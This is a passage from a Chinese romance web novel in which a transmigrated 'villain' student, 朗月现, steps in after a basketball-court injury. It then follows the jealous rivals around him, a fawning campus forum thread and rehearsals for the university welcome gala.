“就这点本事?”周闻铮目光扫过楚骁,露出一抹笑意,说不出的讥讽,“靠这种下三滥的手段,你也就到这儿了。” 楚骁的眼神一下就变了,脸色彻底冷了下来。 “注意换防!”周闻铮拍了拍何子墨,裁判吹哨开场,楚骁突然加速,周闻铮刚刚一时不察着了道,算他马失前蹄,周闻铮冷眼嘲弄得看着楚骁蹩脚的低级把戏,明显是想趁他横移时顶他得膝盖或者大腿,周闻铮直接反身带球掠过,上篮得分。 第二节开始后,这种小动作越来越频繁,周闻铮一一化解,并没有多给楚骁一个眼色。 周闻铮那点火就着的霸王脾气也被他压了下去,照他那个乖张的性子,怎么也轮不到别人欺负到他头上,不是他想忍,周闻铮只是觉得在球场搞这种把戏,他嫌掉价。 就在比赛即将结束时,周闻铮带球突破,楚骁假装防守,在周闻铮起跳的瞬间,用膝盖顶向他的腰部。 周闻铮似乎早已料到,半途转了身形,放弃篮板,却在落地的一瞬间,肘部因为惯性狠狠地抵上了跑过来抢篮板的程澈的肋骨处。 程澈顿时感到一阵剧痛,身体失去平衡,摔倒在地。他捂着腹部,脸色痛苦,显然受了不轻的伤。 裁判吹了暂停,几人都围了上来,周闻铮皱着眉,嫌恶的看着地上疼的蜷缩起来的程澈:“你在装什么?一个大男人,至于吗?” 另一边场外,朗月现正冷眼旁观,脑海中的系统突然敲他:“宿主,你最好过去看看,我觉得主角攻要出事。” 朗月现挑眉:“管我什么事?” “主角攻不能莫名出事,世界意志检测到重大变故会检测整个时间线,”系统严肃起来,声音也有些发紧:“我这边检测到主角攻的生命线在跳动,这个节点宿主作为反派去折磨程澈也不会使他受这么重的伤,我担心世界意志会介入,宿主你快去看看。” 朗月现脸色冷了下来,一言不发动作迅速的从看台上跑了过去。 周闻铮简直气笑了,他揪起程澈的头发,逼他从地上抬起头来,一字一顿,狠厉阴冷道:“你他妈在这装什么呢柔弱呢?信不信老子弄死你……” 话还没说完,一只微凉的手扣住了他的手腕,周闻铮抬头,看着朗月现眉心紧蹙的命令道:“放开他。” 周闻铮愣在了原地,他眼睁睁看着朗月现甩开他的手,亲手将程澈从地上扶起来。 程澈白色的衬衫底部都已经被血染红了,在场的人都倒抽了一口冷气,朗月现一看便了然,是昨天打架受的伤现在又因为强力的外击,伤口再次破开了。 何子墨怼了周闻铮一下,小声唏嘘道:“太狠了吧老大,你真要弄死他啊?” 周闻铮脸色都黑了,咬紧牙关怒道:“不是老子弄的!” 这话听着都搞笑,大家都在现场亲眼看见,周闻铮将人一肘重重顶到地上,就算他不承认,其他人也不会相信他说的话。 周闻铮不在乎别人会不会误会他,他看着程澈虚弱的依靠在朗月现身上,身体还在故作可怜的佯装痛苦状,用卖惨以获取朗月现的关注,那被朗月现贴身环抱一样紧紧贴合的撑扶动作,让程澈眼神中的满足和幸福满溢到掩饰不住。 他只觉得气血上涌,脑海中那根理智的弦在眼前这一幕的刺激下,似乎刹那间崩断。怒火烧的他神志不清,他上前一步,不管不顾,动作粗鲁的揪住了程澈的领子,把程澈从朗月现的怀抱中扯得立起了身子。 周闻铮咬着牙狠厉地低喝:“给我离朗月现远点,真要是想死了,老子不介意送你一程。” “啪!” 朗月现抬起手,带着成年男人力量狠狠地一巴掌,直接将周闻铮的脸扇地歪到了一边。 现场一时间鸦雀无声,周闻铮表情空白,慢慢地转过头看向朗月现,朗月现面无表情,红唇轻启。 “别他妈在这犯病,滚。” 20-30 第二十一章 宝宝……你别这样对我…… 在朗月现看到程澈受伤变脸冲出去的那一刻, 看台上的两个人脸色同时难看了起来。 盛衍那挺拔如同白杨树的身姿逐渐僵硬起来,脸上擒着的温柔笑意也逐渐消失,唇线渐渐抿直, 表情越来越冷。 宋煜紧紧握着身前的栏杆,捏的极紧, 盛衍甚至听到了皮肉和铁皮摩擦的声音。他微微瞥过目光,看到宋煜的脸绷的极紧,眼神死死的盯在场内依偎搀扶的两个人身上,像是要把那一幕刻在眼底,再狠狠撕碎。 宋煜呼吸变得急促,胸口剧烈起伏, 像是有一只野兽在他胸膛里横冲直撞,窒息般的嫉妒仿佛已经侵蚀了他的理智, 他额角的青筋猛烈跳动,好像下一秒就要爆裂开来,疼的他头晕脑胀。 为什么程澈会让那个人露出这种眼神?为什么他会如此急切的做出保护的姿态。 宋煜不明白,都是穷苦人家出来的人, 他凭什么比我能多获得朗月现的目光。 我和你有什么不同?我比不过那些围在他身边的那些有钱人,我凭什么比不过你? 你又比我高贵在哪儿? 为什么他不愿意多看我一眼,却会因为你变了脸色? 宋煜的眼神越来越暗,他能感觉到自己的表情扭曲的近乎狰狞,但是他却无法控制。那一刻,宋煜甚至希望自己能变成一把刀,狠狠地刺入程澈的胸膛,夺走他的一切,尤其是那个人的目光。 “啪!” 响亮的一记耳光,不只打醒了妒火中烧的周闻铮, 宋煜猛地合上了眼,耳边的怒火灼烧的耳鸣声也渐渐弱了下去。 朗月现拒绝了别人的帮助,独自一人带着程澈走出了球馆,宋煜的目光紧紧跟着两人相携离开的背影上,满心杂乱的思绪被一声轻咳打断。 宋煜猛地转头,正对上盛衍意味深长的眼神,那目光像一把锋利的刀,直直刺入他心底刚刚涌现的那些最阴暗的角落,仿佛完全看穿了那疯狂又丑陋的念头。 宋煜的身体瞬间僵住,脸呼吸都停滞了一瞬,他意识到自己刚刚不堪丑陋的嫉妒嘴脸好像完全被盛衍收入眼底。 “那不是,你的朋友吗?你为什么不去帮他?” 那轻柔温润的声音却像一记重锤砸在了宋煜的脑海中,他张了张嘴却发不出任何声音,他不知道要怎么辩解,喉咙像被一只无形的手扼住,连吞咽都变得困难。 宋煜的脸瞬间烧了起来,耳根滚烫,羞耻,愤怒,无措像潮水一般淹没了他,几乎让他站立不稳。他放弃了解释,猛地别过头,避开了盛衍的视线,手指无意识的攥紧了衣角,指节因用力过度而发白。 盛衍看着这个表面温顺无害的男孩,想起他看向朗月现那隐晦又贪婪的视线,转向他那位所谓的朋友时嫉恨到狰狞的可怖面容,像是看到了一团粘稠的污秽,眼中闪过一抹强烈的厌恶,他抬手扶了扶眼镜,往后挪了挪脚步,再次拉开了一些距离。 就在盛衍即将要转身离开时,一个念头突然闪过脑海,他再次回过头,重新审视打量起这个男孩。 在已经掌握主动权的情况下,这种满心丑恶,却披着无害羔羊外皮的家伙,或许可以很好的利用,借此达成一些目的也说不定。 “我会和小月还有你的朋友解释,你没去帮他是因为我叫住了你,有事情安排给你。” 宋煜震惊又不解的转过头,那完美得体的找不到一点瑕疵,贵公子一般的盛神正如同传闻那般,露着挑不出一点错,谦和有礼的笑意看着自己。 他的眼神隐在反着光的镜片后,手指轻轻敲打着栏杆,节奏缓慢而规律,像是在思考什么,又像是在衡量自己是否值得让他这么花费心思。 盛衍笑道:“别紧张,这是友好的橄榄枝,只不过偶尔会需要你帮我一些小忙。” 那笑容堪称完美无瑕,但那张薄唇吐的出话竟满是毫不掩饰的嫌恶,像是毒蛇的信子,一点点尖锐地刺入他的血肉。 “但是你这种人,最好给我离小月远点,别脏了他的眼睛。” 宋煜低下头,盯着自己的脚尖,被看到了不堪的一面,那种无措和羞耻感几乎要击溃他,但最后这句带着冰冷恶意的话却让一股无名的愤怒烈火般在他心底疯涨,烧得他几乎窒息。 —— 程澈垂眼,偷偷窥着朗月现紧蹙的眉峰。 对任何人都表现的毫不在意的朗月现,竟然会冲过来救他,还因为他打了周闻铮。难道说他在朗月现心里,还是有一些地位的吗? 腹部的伤口疼痛似乎都离自己远去了,朗月现的气息萦绕在自己鼻尖,还是那股熟悉的清冷的玫瑰花香。 他这个角度刚好看得到朗月现浓长的眼睫,扇动的弧度像是蝴蝶振翅,恍惚中他的心跳不由得加快。程澈满目痴恋的看着朗月现,他终于能大胆的用目光仔仔细细描摹他的轮廓,幸福地他心头不断发颤。 程澈很小的时候,巷子口开了一家很洋气新奇的糖果店。他每天放学都能路过那里,同学招呼他进去买糖吃,程澈也跟着进去,但是从来不买。 玻璃橱窗里摆满了五颜六色,小镇上从来没有见过的高档糖果,每一颗都是独立包装,水晶糖纸像天上的星星一样闪亮。 爸爸妈妈太忙,没时间关注小孩子敏感的内心想法,程澈也懂事的不会拿这种小事去打扰大人,但是被奶奶发现了,奶奶偷偷塞给他十块钱,让他去买糖吃。 这实在是一笔巨款,因为程澈曾经在爸爸的手机上看到他微信上只有0.37元的余额,和向工地老板求要尾款时,老板对着父亲破口大骂的聊天记录。 程澈在糖果店门口站了许久,十块钱都被他攥湿了,最后他买了几个酥皮糖饼,看着奶奶和妈妈咬那糖饼,皮酥得掉渣,他吮了吮手指上残留的糖馅儿,剩下的钱还给了奶奶。 程澈上高中后已经能利用晚自习时间自己出去赚外快贴补家用,但是直到那家糖果店从小镇搬走,程澈再也没进去过一次。 而那天第一次见到朗月现,他站在不远处抬眼向自己望过来,阳光折射在他明亮的眼睛里,程澈几乎是一瞬间就想起了,记忆深处似乎已经被他遗忘了的那颗裹着水晶糖纸,宝石一样的高档糖果。 家境贫苦,自小懂事,无法坦然地满足任何愿望,那个站在巷子口的小孩,这么多年,他盼望着的那颗宝石,竟然从记忆中走了出来,还是来到了他的身边。 太甜了,程澈想,甜得像一场美梦。 朗月现将程澈的手臂架在肩上,撑着他往医务室走,越走越能清晰的感受到抵在他肩膀的胸口处的心跳越来越剧烈,像是擂鼓一般震得他肩膀都发麻,朗月现以为他是疼的,随口安慰道:“快到了,再忍忍。” 程澈低声应了一声,他现在满脑子都是被周闻铮揪着头发从地上扯起来时,痛得模糊的视线中朗月现冷着脸向自己冲过来的样子,支撑起自己时手臂的力度,他的衣服上甚至还沾染了我的血迹。 这些画面在脑海中不断翻涌,像一场不敢奢望的美梦。 终于到了医务室,校医被两人衣服上满布的血迹吓了一跳,以为遇到了什么恶性校园霸凌事件,跳着脚就要拿手机报警,被朗月现一把按住了,朗月现无语的从这位医德堪忧的医生手中夺下手机,冲着程澈的方向下巴微扬:“先救人好吗,这位医生。” 程澈看着朗月现衣服上的血迹,满脑子都是我的血把阿月染脏了,是我的血,是我将他染脏了,他激动的浑身控制不住的轻颤。 校医连声应着,转头就想先为朗月现检查,被他摆手拒绝了,说自己这是染上去的血迹,伤者在那坐着呢,校医这才转身,让程澈脱下上衣,为他缝合伤口。朗月现在那坐了一会,看到程澈并无大碍,系统那边也解除警报,起身就要离开。 他刚一动身,程澈那边条件反射的就要跟着他走,校医正处理伤口呢,被他突然动作惊得连声阻拦:“哎哎哎这位同学,还没处理好呢,你别乱动啊!” 朗月现皱着眉头看过去,那只管不住自己就要往主人身上扑的大狗正满眼委屈的看着他,看到主人抛下他要走,伤心的尾巴都不转了。 朗月现:“……” 朗月现冷着脸睨着他,撂下一句:“别作死。”便转身离开。 * 朗月现回到宿舍,先去洗了个澡,擦着头发出来的时候,发现周闻铮坐在床前,胳膊撑在大腿上,听到动静抬眼望了过来。 窗帘是拉上的,微弱的日光从缝隙中透出,高大的少年一动不动的坐在那看着他,朗月现那一巴掌扇的太重,他牙齿磕破了嘴角,嘴角的伤口已经风干,徒留一道显眼的口子。 朗月现淡淡看了他一眼,面色平静的路过他准备换上睡衣,小臂却被一把抓住了。 朗月现垂下眼,似笑非笑:“挨揍没挨够?还想再来一巴掌?” 周闻铮一句话也没说,他还是紧紧握着朗月现的小臂不松手,他抬眼和朗月现对视,嘴唇竟有些微微发着抖。 朗月现不耐烦了,想也没想的抬起空着的那只手,又狠狠地给了周闻铮一拳。 这一拳直接给周闻铮干到了地上,握着他手臂的手也松开了。 朗月现眯着眼睛居高临下的看着周闻铮慢慢撑着身子坐起来,周闻铮坐在床边,伸出手捞住了朗月现浴袍外露着的那条细白小腿。 朗月现眉心猛地一跳,抬起腿就往他肩膀上踹过去,却被周闻铮一把抱在怀里,手掌滚烫,贴着雪白的小腿抚弄。 周闻铮做着无理的下流动作,还是一言不发,他胸口还憋着一股火,手上没收力,朗月现的小腿上便出现了几个红印。 打人也是个力气活,朗月现深吸了一口气,又狠狠给了周闻铮一脚,这次他是下了狠劲,周闻铮被踢得向后仰倒,后脑勺狠狠地磕在地上,“砰”的一声响。 朗月现冷声骂道:“你又犯什么病?” 周闻铮从地上爬起来,站到朗月现的面前,高大的身型几乎要将他完全覆在身下,周闻铮的半边脸满是青紫,他的眼中像是燃着一团火,又被一层薄薄的水雾蒙住,显得既愤怒又委屈。 声音沙哑而颤抖:“你为了别人打我。” 语气像是质问,又像是极力压抑着委屈,光是说出这句话,周闻铮都觉得当时那种嫉恨到极点的情绪又卷土重来,烧的他五脏六腑都在疼。 朗月现不解,烦躁的皱起了眉头,当时明明是他挡着自己的路还不顾场合的犯那疯病,现在倒反过来怪起他的不是了。 朗月现扯过睡衣要走,被周闻铮从身后一把抱住,他弯下腰把头搁在朗月现肩上,鼻尖蹭在他的颈窝里,开口的声音失控得颤抖着,压抑着难忍的酸涩。 “宝宝……你别这样对我。” * 他语气含糊,鼻音都闷在自己的颈窝,朗月现没听清他说什么,只觉得颈边被他呼出的热气弄的湿乎乎的,朗月现皱眉冷声道:“放开。” 怀抱中的身体隔着薄薄的浴袍,美妙的轮廓清晰的传达过来,周闻铮动作时没过脑子,只想拦住朗月现不让他离开,现在这个姿势真是骑虎难下。 怀中完美的背肌顺着下滑的是腰部极其勾/人美妙弧度,那格外圆润饱满的部位微妙的触感正虚虚的抵/在自己身上。周闻铮的喉结剧烈的滚动了一下,情不自禁的想再搂紧一些,脑子里想着自己不是还在憋屈生气吗,身体却不争气的怎么也舍不得松开一丝一毫。 朗月现“啧”了一声,挣开怀抱转身面对他,凉凉的手指尖抵着他的胸膛,漂亮的眼睛闪着不耐的光:“你有完没完?” 以前也不是没单方面打过他,怎么这次不依不饶起来,朗月现只想快些解决这人突如其来的疯症,让这疯狗别再来烦自己。 周闻铮眼底通红,他极力想保持理智,但朗月现因为烦躁而抿紧的红唇就在他低下头就能触到的咫尺之间晃他的眼,本来满腔的火气像是突然换了个方向往下腹涌去。 周闻铮越看越痴,他后脑勺砸的那下很重,突突的跳着疼,震的他脑子里一片混乱。 想亲他,好想亲一口,想把舌头伸进去搅合一下,吮一吮玫瑰花瓣一样的唇,想吃月月的口水……周闻铮馋的要命,越想头越晕,像是喝醉了似的头脑不清,身子情不自禁的前倾,滚烫的呼吸开始紊乱,他猛地吞了吞口水。 下一秒脖子便被掐住了,硕大的喉结抵着朗月现微凉的掌心,还在猛烈的滚动。 面对朗月现高扬起一边的眉头,疑惑又诧异的表情,周闻铮几乎被烧光的理智终于在他那被欲望冲成一根筋的空白脑子里顽强的蹦了两下。 他压下眼底翻滚上来的欲念,正经思索了两秒,摆出自己之前最不屑的死装绿茶姿态,故作可怜的按住额头,声音还带着一丝虚弱:“月月,我头好晕……” 话音未落,像是真的无力支撑一样,身子就要往朗月现怀里倒去,朗月现眼疾手快的收回了手,闪到了一边,周闻铮一把抓住了床架,才没有正面一头栽倒。 朗月现嫌弃的甩了甩手腕,拿着睡衣头也不回的进了* 浴室。 周闻铮:“……” 艹,怎么别人扮绿茶装虚弱就在他面前这么好使呢?—— 朗月现的生活很舒适的平静了几天,除了两天前,盛衍突然过来告诉他,周闻铮恶意伤人这件事被有心人告到了校董会,周闻铮是学校金主的儿子,但受伤的学生是新一届成绩优异,甚至还申请了贫困生补助,家境贫寒却十分上进的学生代表。 两个人各项buff都拉满了,校董完全不想管这种麻烦事,知悉事情原委的当天晚上就将此事全权交托给学生会代办。 学生会副会长此刻正笑眯眯的问朗月现准备怎么处理,他都听他的。 朗月现坐在图书馆,面前开着电脑跑着程序,桌上放着互联网金融概论和证券投资学,微蹙的眉心在听了盛衍的话之后皱的更紧。 他抬眼看过去,乌黑水润的眼珠点漆一般,黑白分明,干净漂亮得盛衍心头一阵阵猛地急颤,望着他的眼神中透着明显的不解与烦躁,明晃晃的写着:你为什么要告诉我? 朗月现:“关我屁事。” 在朗月现的态度中明确的感受到,那两个人的存在感在朗月现心里还没有路过的风更强一些,盛衍终于心满意足,带着满足的笑意,遂了朗月现的心愿,还了他一片清净,脚步轻快的离开了图书馆。 周闻铮这段时间没参加球队训练,也没回宿舍,据说是被他老头制裁了,周太太把周闻铮挨了顿狠揍还吃了禁闭的事告诉了朗太太,朗父转头就当成笑话讲给朗月现听。 朗月现评价:“……关我屁事。” 朗父:“哎?可是我听小周说,你们俩关系好的穿一条裤子啊。” 朗月现:“……他放屁。” 朗父一噎:“不说那些了,你哥最近在家闷闷不乐的,说你生他气了,不接他电话,怎么回事啊?我跟你讲,兄弟之间小打小闹都没有隔夜仇,你就是被你哥惯坏了,有点小事就揪着不放,听爸的,给你哥回个电话,我看他这段时间在公司忙的都不回家吃饭,其实就是想你想的没办法……” 朗月现:“挂了。” 朗父:“哎!小兔崽子你又……”嘟嘟嘟。 * 金融系不愧是C大赖以出名的顶尖专业,课程安排的非常规整,老师教授的也全是干货,朗月现在充实的度过了几天平静的大学生活后,系统突然出现戳了戳他。 “宿主,原书的第一个关键节点要出现了。” 朗月现安静地坐在宿舍桌子前,正在电脑上研究课题,闻言扶了扶脸上防蓝光的平光眼镜,从繁重的作业中抽离出来,原本漂亮到灼目的一双眼睛在镜片的遮掩下,多了几分温润和平和,他的思绪还沉浸在复杂的课题中,那刺人锋芒被轻轻收敛,取而代之的是一种沉静的书卷气,漂亮的很有距离感的美人此刻收敛了张扬的锋芒,让人不由地心生亲近。 因为长久没开口,出声便是带着磁性的低沉声音,有一种莫名让人心安的味道:“什么时候?” 系统:“……” 朗月现半天没听到回话,疑惑的又重复了一遍,才将看他看呆了的系统从恍惚中唤醒。 太漂亮了,不是之前那种让人只可远观,难以接近的漂亮,像是神仙突然下凡,有了人气儿,而且少了那层平日里目中无人的嚣张气焰,他的周身散发着一种独特的宁静从容的气质,甚至会让人觉得是努努力死皮赖脸就能追到的类型。 它都能想象得到,如果宿主以这幅儒雅平和的谦谦公子形象出现在外面那群天天致力于以各种方式,在各种社交平台YY他的学生们面前,会引起怎样的大轰动。 不知道C大论坛的服务器够不够坚强。 系统:“宿主,答应我,千万不要让外面那些臭流氓看到你这幅样子好吗?” 朗月现:“?” 系统翻着书,和他讲述原书剧情,在马上要到来的迎新晚会上,自己会因为妒忌主角受的耀眼夺目的独特魅力,设计让他摔断胳膊,无法在晚会上进行剧目表演。 朗月现问道:“具体设了什么计?” 系统又仔细看了看,回道:“没说那么具体,就说你串通了晚会后勤组的学生,让盛衍在排练时受伤,所以我们要在晚会正式排练时就参与进去,以防主角受真的像书中所说那样因为宿主你而受伤。” 朗月现没什么太大的反应,他思考了一下,才道:“为什么我要参与进去,如果他会因为剧情而强行受伤,而我并没有串通别人要害他,我不去到现场不是更能证明我的清白吗?” 系统摇了摇小手指:“没用的宿主,你忘了程澈被打跟你完全没有关系,却还是莫名就会将事情和你联系到一起,咱们得想个办法,保护主角受不受伤,从源头上断掉这个剧情的发展趋势。” 朗月现没应声,半响后他摘下眼镜,揉了揉眉心,系统知道它这个非常怕麻烦的宿主这就算是同意了它的计划。 * C大的迎新晚会来势汹汹,周围几所院校都隐约感受到了今年C大学生异常饱满的兴奋情绪。 迎新晚会早在开演前三天就提前在论坛首页公开了表演节目单,节目单也不是重点,重点是晚会帖子的封面照片。 晚会今年的封面与往年不同,没有用C大经典的这个时期满校园灿烂开放的栾树红花,而是破例用了两个少年对视的照片作为封面。 照片中的两个少年相对而立,画面定格在某种微妙的张力中。左边的少年眉眼柔和,如同春日的暖阳,望着对面少年的眼神中带着不加掩饰的温柔。他的目光专注而细腻,唇角微微上扬,笑意温润如玉,整个人散发着一种令人心安的温暖。 而右边的少年则截然不同。他的眼神锐利而深邃,带着一丝审视与戏谑,仿佛在无声地挑战着什么。眉梢轻挑,红润唇角勾起一抹若有若无的笑意,带着几分玩世不恭的意味。他的姿态从容而随性,望着对面的目光中既有探究,又有一种隐隐的挑衅。 两人的对视仿佛是一场无声的交锋,温柔与锐利,深情与戏谑,在画面中交织成一种极为独特的性张力,令人不禁屏息凝神,想要窥探这瞬间背后的故事。 【xx届迎新晚会 9月x日 20:00 与您不见不散】 【C大礼堂晚会节目单】 发出帖子不到半个小时就被顶成爆贴,底下评论更是疯涨: 「我擦我看到了什么,两大男神同时出镜?爆了啊朋友们」 「这封面一过审,C大两大校草的名头可算是连校董都承认了,过了明路了」 「每每看到有其他人和朗神同框都像是开了搞笑丑人特效,也就盛神勉强能撑住场子」 「我一直觉得敢跟朗神合照的都是勇者,他帅的好像不在一个图层」 「好完美的两张侧颜,太拿得出手了,我要转给隔壁学校的看,羡慕死他们」 「这……这合适吗,我怎么觉得他们俩之间的氛围怪怪的啊」 「盛神的目光也太温柔了吧,虽然他平时就是温柔男神那挂的,但是这个眼神真的不一样啊,你们能懂吗?」 「我懂你姐妹,这眼神绝对不简单」 「但是月宝看起来完全没有接住这个暧昧氛围的意思啊」 「没接住吗?我怎么觉得那个眼神明明就是在逗盛神啊,那种戏谑的笑,简直像是在调情!」 「你小子胆子太大了,你敢给咱们新一届金融系单科全系最高分的朗神叫月宝,你怎么敢的啊?」 「我每次和朗神一起上课都不敢多看他,长得这么帅,学习还认真,主要是气场太强了,根本不敢搭话,虽然天天一起上课,但还是只敢回去看照片过过瘾……」 「完全就是我的理想型,是我从小到大都会一直暗恋的那一挂」 「对啊,朗神明显是超级大帅哥的类型,平时的小表情和动作都酷的不行,感觉那大长腿甩出去能踹翻三个我」 「可不嘛,你还记得他骑机车被爆照的那个帖子,那大长腿跨过机车还能笔直地稳稳踩在地上」 「那身材比例我连想都不敢想,他竟然敢就这么长」 「那真是帅的惨绝人寰,性张力强到可怕」 「好希望那一脚是踩在我身上……」 「什么好事都敢想!大馋丫头」 「有一说一就朗神那个气质我是真的不敢造次,但是他长得实在是太好看了」 「凭什么不让嬷?长这么好看就是要被妈妈亲死的!」 「你们为什么要随便YY我老婆和别人的感情???什么狗屁暧昧氛围,哪只眼睛看出来了,我老婆的眼神明明是嫌弃!」 「我憋好久了,我绝不允许你们随便造谣我老婆,月宝和我感情好到不行,你们再说我就死给你们看!」 「就因为你们胡说八道,月宝现在还把我搂在怀里哄呢(你们再胡说我就不活了)」 「我愿意嫁给朗神!哪怕他不愿意!」 「所以真的没有一个人讨论节目单吗……」 …… 周闻铮在房间关禁闭的时候看到帖子照片,人差点气的当场去世。 他后背还被他爸用藤条抽的火辣辣的疼,套好衣服又蹭花了一层刚上好的药膏,他也不管,抓起车钥匙就要去学校。 气势汹汹的冲到客厅,周父拿着报纸一抖,划拉一声响:“上哪去?” 周闻铮黑着一张脸,活像是被人抢了老婆,语气很冲:“学校。” 周父看也不看他:“如果你以为就你现在这个情绪状态,我能让你走出周家大门,你就错的太离谱了。” 周闻铮强忍住怒气,试图跟他爸讲道理:“我真的有急事。” 周父此时才正眼看了过去:“你要知道,你现在翅膀还没硬,身上背的处分也没因为你的急事就被撤下来。” “你把人家小孩打成那样,这事说过去就能过去了?” 周闻铮咬紧牙关,攥紧了双拳,一字一顿道:“我再说一遍,他不是我打的!” “现场那么多人都看见了,球馆的监控也看见了,你跟我说不是你,人家只会觉得周家的家教太可笑了,养出一个冲着无权无势的小孩动手,还拒不承认,只会撒谎的垃圾货色。”周父移开了看着周闻铮的目光,重新看起了报纸。 “我也再说一遍,别让你妈再为你哭了,我也打累了。” * 这个被学生会在论坛置顶的迎新晚会爆贴到了晚上突然不知道出了什么问题,评论内容一会儿多一会少,许多人都表示自己发出的评论莫名其妙被删,过了一会却又重新出现了。 对此学生会管理人员给出的解释是,因大量外校人员进入C大论坛,学生会内部正在进行紧急公关,酌情删除一些不是很符合价值观的过激或者露骨言论。 C大本校生听了解释再去看帖子,发现帖子底下除了从各个方面,各个角度夸赞朗月现,还有各种猜测遐想朗月现和盛衍两个人之间暧昧关系的评论保留了,其余yy和花式叫老婆的评论全部被删除了。 学生们:“……” 这什么司马昭之心? 周闻铮冷着脸坐在床边听电话,“老大,我真的已经尽力去删那些说朗哥和盛衍像一对儿的评论了,但是那边恢复的速度比我还快,真删不过来了。” 周闻铮半响没说话,对面那人以为他生气了,刚要再解释两句,就听周闻铮突然开口:“月月是和那个男的像一对儿,还是跟我更配。” “……当然是跟您啊,没人比您更配得上朗哥了。那算个什么东西,长得一副狐媚子样,哪像我们老大,看起来又帅又有安全感。” “嗯。”周闻铮满意了:“继续删。” “不是!老大……” 周闻铮干脆利落的挂了电话,手狠狠捋了把寸头,小臂撑在大腿上,大马金刀的坐着,肌肉绷得极紧,神色凝重又狠厉的盯着远处,过了许久,突然扯起唇,露出一个绝非善意的笑容—— 迎新晚会的总调度是一名经验丰富的学生会主要干事,学姐名叫林小棠,听起来像个萌妹,见了面才发现是个留着大波浪烈焰红唇,穿着恨天高高跟鞋,做事极为干脆利落,出了名的雷厉风行的铁血御姐。 学姐第一次见到出现在排练现场的朗月现真人时,简直惊为天人,一双漂亮的美目几乎要粘在朗月现脸上,学姐演都不演,根本不知道矜持两字为何物,以至于过于挺拔的身材几乎要蹭在朗月现身上。朗月现后退拉开距离她就再次贴上去,朗月现有点不知道怎么应付女孩,他轻咳一声,尴尬的移开视线:“学姐,你靠得太近了。” 林小棠被他那张脸迷的晕头转向,不管不顾的又贴近了一些,朗月现被她逼到墙边退无可退,无奈的只能转过头看向她,刚要开口,林小棠突然摇了摇头,用颇为遗憾额口气说道:“我以前都过得是什么苦日子啊。” 朗月现:“……” 学姐继续感慨:“我现在都没办法回头看排练的那些同学,感觉他们都长得很猎奇。” 同学们:“?”我们还活着呢学姐。 林小棠握住朗月现的手,举到胸前,含情脉脉的深情告白:“学弟,顶着这样一张脸每天很辛苦吧,让学姐来保护你好吗,学姐的银行卡密码是……” 下一秒盛衍突然出现,一把揽过了朗月现的肩,将人带离林小棠的禁锢,顺便还把被紧握的手拯救了出来。 林小棠不满的抬眼看过去,只见盛衍明显是刚注意到朗月现的窘迫,第一时间赶过来,一只手上还攥着主持人串场的稿子,另一只手臂紧紧搂着朗月现,浑身散发着不容忽视的占有意味,像是无声地宣告主权。他笑意不达眼底的看向林小棠:“棠姐,小月是来陪我排练的,你这样逗他,不太合适吧。” 林小棠颇为意外挑起了眉,认识盛衍这么久了,实在是很少能在他这种一副不食人间烟火,情绪稳定的似乎没有什么能让他破防的人身上,看见这幅急得不管不顾的模样。 那平日里优雅贵气的行为举止,换成了占有欲十足,脸上还带着几分警告的不爽模样。林小棠在心里直呼有趣,饶有兴致的打量了两人一眼。 林小棠勾起唇角,戏谑道:“怎么还急了?怕我真给你抢走?” 她洒脱的一撩长发,骄傲的扬了扬下巴:“担心是应该的,毕竟我这么美。”说罢还冲朗月现眨了眨眼睛:“要是跟这种无趣的小男孩玩够了,学姐随时欢迎你来找我哦。” 林小棠终于记起自己是晚会总调度,还有不少工作要做,抬脚就要走,路过两人时,她拍了拍盛衍的肩,凑到他耳边,低声打趣道:“遮遮你那眼神吧,别把人吓跑了。” 盛衍眼中没什么情绪波动的回看她一眼,却莫名让人心头一紧,他弯着嘴角笑了笑,什么也没说。 * 知道朗月现时不时的会去彩排大厅看排练,程澈便主动去报名了后勤工作,宋煜不知道在哪得知了这件事,也非要跟着去。 程澈没办法,就和门口管理进出人员的工作人员说了一声,又反复嘱咐了宋煜进来后安安静静坐在大厅好好看排练就好,不要乱走动给工作人员添麻烦。 后勤组长刘海明和林小棠是老搭档了,也是学生会成员,宋煜到的时候他正急着给几人安排工作,程澈看见宋煜,刚抬手打了一个招呼,指了指外面意思让他过去看节目就好,就被指挥着去搬新的舞台架子。 后天就是正式演出日,明天是舞台最后走场,舞台架子却临时出现了问题,林小棠紧急从外面安排了一批新的架子运过来,打乱了进场节奏,演员还不知道怎么配合舞台布置,本来有条不紊的演出安排,突然变得混乱急促起来。 刘海明抹了把头上的汗,正忙得不可开交,转头就看到一个陌生男孩站在后台冲着礼堂大厅到处看来看去,他火一下就上来了。 其实他心里隐约知道这些并非晚会演员的学生们偶尔出现在礼堂里是来做什么的,十个能有十一个是听说在彩排大厅能偶遇朗月现,林小棠已经尽力安排工作人员清场了,但是他们一个个还是会想尽办法溜进来,就为了能偷看朗月现一眼,看一眼赚一眼啊。 刘海明皱着眉低喝道:“无关人员赶紧离开后台!干什么呢在这。” 宋煜正专心致志在大堂各处找寻朗月现的身影,闻声被吓了一跳,他不知所措的解释道:“我……是盛衍学长同意我进来的。” 刘海明正因为舞台出了岔子心烦呢,此刻听见盛衍的名号也没给好脾气,他摆摆手就要赶人:“盛衍安排的人就去大厅待着,别进后台,没看到忙着呢吗。” 盛衍根本不知道宋煜会来这件事,他是借了程澈的名号进来的,此刻根本不敢出去让舞台上正排练的盛衍看见自己。 上次盛衍和自己联系还是让他以现场观看球赛人员的名义,去校董事会举报周闻铮恶意伤人,还给了他所需要提供的所有证据,包括录像和在场人员证词。宋煜那时候才隐隐对盛衍在学校的话语权有多大有了个模糊的认知。 刘海明态度这么强硬,宋煜慌不择路的下意识就先搬出盛衍的名号,他也知道盛衍对他只是利用,内心其实非常厌恶自己,这时根本不敢出去让盛衍看见自己。自己还打着他的名号溜进来,盛衍不用想就知道他过来是看谁的。 那句“你最好给我离小月远点,别脏了他的眼睛。”的警告还如同附骨之疽刻在他的脑海中,即使对此恨的切齿拊心,他依旧懦弱的根本不敢去触盛衍的逆鳞。 宋煜慌了神,忙得开口:“我,我是现场工作人员,跟程澈一起来的。” 刘海明闻言顿了一下,皱着眉怀疑的看了他一眼,程澈他有印象,个子高人又结实,话不多笑起来很开朗,能干还勤快,有点什么重活交给他连句抱怨都没有,刘海明很喜欢他,还准备开完这次晚会就将人介绍进学生会。 一听说是跟着程澈来的,他赶人的手就放了下去,但是刘海明还是有点犹疑:“跟着程澈来的?我前几天怎么没见你?” 宋煜看见刘海明态度缓和下来,赶紧表明来意:“是我听程澈说这两天舞台出了些问题,忙的不行,我就报名来帮忙。” 